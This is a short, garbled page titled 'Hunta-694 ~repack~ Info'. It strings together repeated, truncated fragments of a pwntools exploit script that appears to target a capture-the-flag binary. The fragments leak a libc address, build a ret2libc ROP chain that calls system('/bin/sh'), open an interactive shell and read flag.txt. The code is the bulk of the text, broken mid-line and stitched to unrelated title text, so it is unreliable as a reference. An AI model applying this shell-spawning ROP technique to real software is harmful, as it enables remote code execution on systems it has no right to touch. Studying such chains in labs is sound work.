Hunta-694 ~repack~ Info

rop_payload = flat( b'A' * offset, pop_rdi, bin_sh, system ) io.sendlineafter(b'> ', rop_payload)

$ ./exploit.py | tee flag.txt or within the interactive session: hunta-694

# ---- Step 3: Build final ROP chain -------------------------------- pop_rdi = (rop.find_gadget(['pop rdi', 'ret']))[0] bin_sh = next(libc.search(b'/bin/sh')) system = libc.symbols['system'] rop_payload = flat( b'A' * offset, pop_rdi, bin_sh,

# Receive and parse leak leaked_puts = u64(io.recvline().strip().ljust(8, b'\x00')) log.success(f'Leaked puts@GLIBC: hex(leaked_puts)') rop_payload = flat( b'A' * offset

# ---- Get the flag ------------------------------------------------- io.interactive() # should drop you into a shell; cat flag.txt